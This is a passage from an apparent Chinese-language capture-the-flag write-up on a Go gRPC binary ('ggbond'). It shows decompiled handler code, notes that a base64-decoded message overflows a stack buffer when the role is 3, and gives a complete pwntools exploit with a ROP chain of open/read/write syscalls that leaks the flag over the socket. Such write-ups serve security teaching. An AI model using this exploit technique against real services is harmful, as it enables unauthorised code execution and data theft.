goto LABEL_90;
}
if ( tab == off_9799C0 )
{
v96 = p_data;
if ( qword_C94B80 == 3 )
{
p_ggbond_RepeaterResponse = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
p_ggbond_Response_Repeater = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
v84 = p_ggbond_Response_Repeater;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_Repeater;
runtime_gcWriteBarrierCX(p_ggbond_Response_Repeater, v3, v33);
}
else
{
p_ggbond_Response_Repeater->Repeater = p_ggbond_RepeaterResponse;
}
v34 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v38 = off_979A60;
v34->Response.tab = off_979A60;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v34->Response.data;
v34 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v34->Response.data, v3);
}
else
{
v34->Response.data = v84;
}
v39 = (__int64 *)v34->Response.data;
if ( v34->Response.tab != v38 )
runtime_panicdottypeI(
v34->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
(_DWORD)v39,
v35,
v36);
if ( (unsigned __int64)qword_C525A8 <= 3 )
runtime_panicIndex(3LL, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v39, v35, v36);
v74 = v34;
v86 = v39;
v40 = off_C525A0[6];
v41 = runtime_concatstring2(
0,
(_DWORD)v40,
(unsigned int)off_C525A0[7],
(unsigned int)&aContinueWantR1[401],
13,
(_DWORD)v39,
v35,
v36,
v37);
v45 = *v86;
*(_QWORD *)(*v86 + 48) = v40;
if ( dword_C95060 )
{
v45 += 40LL;
runtime_gcWriteBarrier(v45);
}
else
{
*(_QWORD *)(v45 + 40) = v41;
}
v46 = (RTYPE **)v96->Request.tab;
if ( v46 != off_9799C0 )
runtime_panicdottypeI(
(_DWORD)v46,
(unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
(unsigned int)&RTYPE_ggbond_isRequest_Request,
v45,
(unsigned int)off_9799C0,
v42,
v43,
v44);
v97 = *(string *)(*(_QWORD *)v96->Request.data + 40LL);
len = v97.len;
v99 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v97);
ptr = v99.0.ptr;
v89 = v99.0.len;
cap = v99.0.cap;
v73[0] = v5;
v73[1] = v5;
v91 = v73;
v92 = 32LL;
v93 = 32LL;
v47 = v73;
v48 = v99.0.ptr;
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v47 = *v48;
v47 = (__int128 *)((char *)v47 + 1);
++v48;
}
v17 = v74;
v18 = 0LL;
v19 = 0LL;
}
else
{
v81 = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
v50 = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
v84 = v50;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)v50;
runtime_gcWriteBarrierCX(v50, v3, v51);
}
else
{
v50->Repeater = v81;
}
v52 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v55 = off_979A60;
v52->Response.tab = off_979A60;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v52->Response.data;
v52 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v52->Response.data, v3);
}
else
{
v52->Response.data = v84;
}
v56 = (__int64 *)v52->Response.data;
if ( v52->Response.tab != v55 )
runtime_panicdottypeI(
v52->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
v53,
v54,
(_DWORD)v56);
if ( qword_C525A8 <= (unsigned __int64)qword_C94B80 )
runtime_panicIndex(qword_C94B80, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v53, v54, v56);
v57 = off_C525A0[2 * qword_C94B80];
v58 = off_C525A0[2 * qword_C94B80 + 1];
v59 = (RTYPE **)v96->Request.tab;
v60 = v96->Request.data;
if ( v59 != off_9799C0 )
runtime_panicdottypeI(
v96->Request.tab,
(unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
(unsigned int)&RTYPE_ggbond_isRequest_Request,
(_DWORD)p_data,
v3,
v53,
v54,
(_DWORD)v56);
v75 = v52;
v86 = v56;
v61 = runtime_concatstring3(
0,
(_DWORD)v57,
(_DWORD)v58,
(unsigned int)": :/:=:]; <-<<<==#==> >=>>??A3A4CNCcCfCoCsGOGTLTLlLmLoLtLuMXMcMeMnNSNdNlNoOKOUPcPdPePfPiPoPsSTScSkSmSoTZTeToV1V2V3V5V6YiZlZpZs[]\")\":\">\"\n\\$\\'\\(\\)\\*\\-\\.\\/\\0\\9\\?\\D\\E\\S\\W\\[\\\"\\\\\\]\\^\\a\\c\\d\\f\\n\\r\\s\\t\\w\\{\\|\\}\n \n\t\r\n\t 聽] ])]:][]\n^=`\\aAbBdoeEeqfFgegogti)iIidifinipjslLleltmsn=nNnensoOorpPpbrRs sStetotvuUusxX{{{}|=||}\n}}蛷 G M P *( - < > m= n=%+v%25%2c%: &^='\"'): * /....js///00001_0\r\n125200204206304400404443500625: `:%d://::1<<=>>=?*[???ACKAMPAprAugDD;DSADecEOFETHEndFebFriGETGT;GetGg;Gt;HanINTIm;JanJulJunLT;LaoLl;Lt;MD4MD5MarMayMonMroMu;NaNNkoNovNu;OPTOctOr;PC=PTRPi;Pr;REGRSARe;SETSOASRVSatSc;SepSunTTLTXTThuTueURIUTCVaiViaWedXi;\"}}\\22\\26\\27\\28\\29\\2b\\2f\\3a\\3b\\3c\\3e\\7b\\7d\n",
2,
*(_QWORD *)(*(_QWORD *)v60 + 40LL),
*(_QWORD *)(*(_QWORD *)v60 + 48LL),
(_DWORD)v56,
(_DWORD)v59);
v62 = *v86;
*(_QWORD *)(*v86 + 48) = v57;
if ( dword_C95060 )
runtime_gcWriteBarrier(v62 + 40);
else
*(_QWORD *)(v62 + 40) = v61;
v17 = v75;
v18 = 0LL;
v19 = 0LL;
}
}
else
{
LABEL_63:
p_ggbond_ErrorResponse = (ggbond_ErrorResponse *)runtime_newobject(&RTYPE_ggbond_ErrorResponse);
p_ggbond_Response_Error = (ggbond_Response_Error *)runtime_newobject(&RTYPE_ggbond_Response_Error);
v83 = p_ggbond_Response_Error;
if ( dword_C95060 )
{
LODWORD(p_data) = (_DWORD)p_ggbond_Response_Error;
runtime_gcWriteBarrierCX(p_ggbond_Response_Error, v3, v64);
}
else
{
p_ggbond_Response_Error->Error = p_ggbond_ErrorResponse;
}
v17 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v68 = off_979A40;
v17->Response.tab = off_979A40;
if ( dword_C95060 )
{
LODWORD(p_data) = (_DWORD)v17 + 48;
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v17->Response.data, v3);
}
else
{
v17->Response.data = v83;
}
v69 = (__int64 *)v17->Response.data;
if ( v17->Response.tab != v68 )
runtime_panicdottypeI(
v17->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Error,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
(_DWORD)v69,
v65,
v66,
v67);
v70 = *v69;
*(_QWORD *)(*v69 + 48) = 13LL;
if ( dword_C95060 )
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(v70 + 40, v69);
else
*(_QWORD *)(v70 + 40) = &aContinueWantR1[544];
v18 = 0LL;
v19 = 0LL;
}
LABEL_90:
result.1.tab = v18;
result.1.data = v19;
result.0 = v17;
return result;
}
可以发现有三个 if ( tab == xxx )的逻辑,同事在runtime_newobject创建对象的时候,正好对应 三个request的逻辑,发whoami的请求时也是走到这段逻辑中去处理,所以这个main__ptr_server_Handler函数就是处理三个request 的关键函数了
存在漏洞的位置是 处理repeater 的时候如果role == 3,就会把数据base64deocode后发送到栈上,没有对长度做一个判断存在一个栈溢出
if ( tab == off_9799C0 )
{
v96 = p_data;
if ( qword_C94B80 == 3 )
{
p_ggbond_RepeaterResponse = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
p_ggbond_Response_Repeater = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
v84 = p_ggbond_Response_Repeater;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_Repeater;
runtime_gcWriteBarrierCX(p_ggbond_Response_Repeater, v3, v33);
}
else
{
p_ggbond_Response_Repeater->Repeater = p_ggbond_RepeaterResponse;
}
v34 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v38 = off_979A60;
v34->Response.tab = off_979A60;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v34->Response.data;
v34 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v34->Response.data, v3);
}
else
{
v34->Response.data = v84;
}
v39 = (__int64 *)v34->Response.data;
if ( v34->Response.tab != v38 )
runtime_panicdottypeI(
v34->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
(_DWORD)v39,
v35,
v36);
if ( (unsigned __int64)qword_C525A8 <= 3 )
runtime_panicIndex(3LL, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v39, v35, v36);
v74 = v34;
v86 = v39;
v40 = off_C525A0[6];
v41 = runtime_concatstring2(
0,
(_DWORD)v40,
(unsigned int)off_C525A0[7],
(unsigned int)&aContinueWantR1[401],
13,
(_DWORD)v39,
v35,
v36,
v37);
v45 = *v86;
*(_QWORD *)(*v86 + 48) = v40;
if ( dword_C95060 )
{
v45 += 40LL;
runtime_gcWriteBarrier(v45);
}
else
{
*(_QWORD *)(v45 + 40) = v41;
}
v46 = (RTYPE **)v96->Request.tab;
if ( v46 != off_9799C0 )
runtime_panicdottypeI(
(_DWORD)v46,
(unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
(unsigned int)&RTYPE_ggbond_isRequest_Request,
v45,
(unsigned int)off_9799C0,
v42,
v43,
v44);
v97 = *(string *)(*(_QWORD *)v96->Request.data + 40LL);
len = v97.len;
v99 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v97);
ptr = v99.0.ptr;
v89 = v99.0.len;
cap = v99.0.cap;
v73[0] = v5;
v73[1] = v5;
v91 = v73;
v92 = 32LL;
v93 = 32LL;
v47 = v73;
v48 = v99.0.ptr;
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v47 = *v48;
v47 = (__int128 *)((char *)v47 + 1);
++v48;
}
v17 = v74;
v18 = 0LL;
v19 = 0LL;
}
在这里存在溢出
for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
{
*(_BYTE *)v47 = *v48;
v47 = (__int128 *)((char *)v47 + 1);
++v48;
}
v17 = v74;
v18 = 0LL;
v19 = 0LL;
}
利用的思路是,orw把flag 从socket的 fd那读出来
exp
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
from pwn import *
def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond
def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond
def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond
file_path = './pwn'
p1 = process(file_path)
p = remote("127.0.0.1", 23334)
channel=grpc.insecure_channel('localhost:23334')
print(role_change(channel,3))
rdi_addr = 0x401537
rsi_addr = 0x422398
rdx_addr = 0x461bd1
rax_addr = 0x4101e6
syscall_addr = 0x40452C
flag_addr = 0x7FAEEC
bss_addr = 0xC90000
payload = b'a'*0xc8
payload+=p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(rax_addr)+p64(2)+p64(syscall_addr) # open
payload+=p64(rdi_addr)+p64(9)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(0)+p64(syscall_addr)
payload+=p64(rdi_addr)+p64(7)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(1)+p64(syscall_addr)
try:
repeater(channel,base64.b64encode(payload))
except:
print(p.recv(0x1000))